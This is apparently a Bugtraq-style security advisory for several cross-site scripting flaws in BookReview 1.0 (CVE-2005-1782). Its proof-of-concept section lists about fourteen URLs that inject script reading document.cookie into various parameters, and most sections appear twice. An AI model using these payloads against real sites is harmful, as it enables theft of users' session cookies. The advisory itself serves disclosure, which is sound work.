BookReview Multiple Cross-Site Scripting Vulnerabilities
BID:13783
Info
BookReview Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 13783 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-1782 |
| Remote: | Yes |
| Local: | No |
| Published: | May 26 2005 12:00AM |
| Updated: | Jul 12 2009 02:56PM |
| Credit: | Lostmon <[email protected]> is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
BookReview BookReview 1.0 |
| Not Vulnerable: | |
Discussion
BookReview Multiple Cross-Site Scripting Vulnerabilities
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
BookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Exploit / POC
BookReview Multiple Cross-Site Scripting Vulnerabilities
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/add_review.htm?isbn=0801052319&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true
http://www.example.com/add_review.htm?isbn=0801052319%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true
http://www.example.com/add_review.htm?isbn=0553278223&node="><script>alert(document.cookie)</script>&review=true
http://www.example.com/add_review.htm?node=index&isbn=\\"><script>alert(document.cookie)</script>
http://www.example.com/index.php?page=add_contents&isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&chapters=25
http://www.example.com/index.php?page=add_contents&isbn=083081423X&chapters=25%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/add_contents.htm?isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/suggest_category.htm?node=Agriculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/contact.htm?user=admin%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/add_booklist.htm?node=Agriculture_and_Aquaculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/add_url.htm?node=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/search.htm?page=search&submit%5Bstring%5D=%5C%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=Ok&submit%5Btype%5D=author
http://www.example.com/add_classification.htm?isbn=0830815961%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Gospels
http://www.example.com/suggest_review.htm?node=Business_and_Economics"><SCRIPT>alert()</SCRIPT>
No exploit is required.
The following proof of concept URI are available:
http://www.example.com/add_review.htm?isbn=0801052319&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true
http://www.example.com/add_review.htm?isbn=0801052319%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true
http://www.example.com/add_review.htm?isbn=0553278223&node="><script>alert(document.cookie)</script>&review=true
http://www.example.com/add_review.htm?node=index&isbn=\\"><script>alert(document.cookie)</script>
http://www.example.com/index.php?page=add_contents&isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&chapters=25
http://www.example.com/index.php?page=add_contents&isbn=083081423X&chapters=25%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/add_contents.htm?isbn=083081423X%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/suggest_category.htm?node=Agriculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/contact.htm?user=admin%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/add_booklist.htm?node=Agriculture_and_Aquaculture%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/add_url.htm?node=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/search.htm?page=search&submit%5Bstring%5D=%5C%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=Ok&submit%5Btype%5D=author
http://www.example.com/add_classification.htm?isbn=0830815961%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Gospels
http://www.example.com/suggest_review.htm?node=Business_and_Economics"><SCRIPT>alert()</SCRIPT>
Solution / Fix
BookReview Multiple Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
BookReview Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- BookReview Homepage (Readers Unite)
- Lostmon's Blog Page (Lostmon ([email protected]))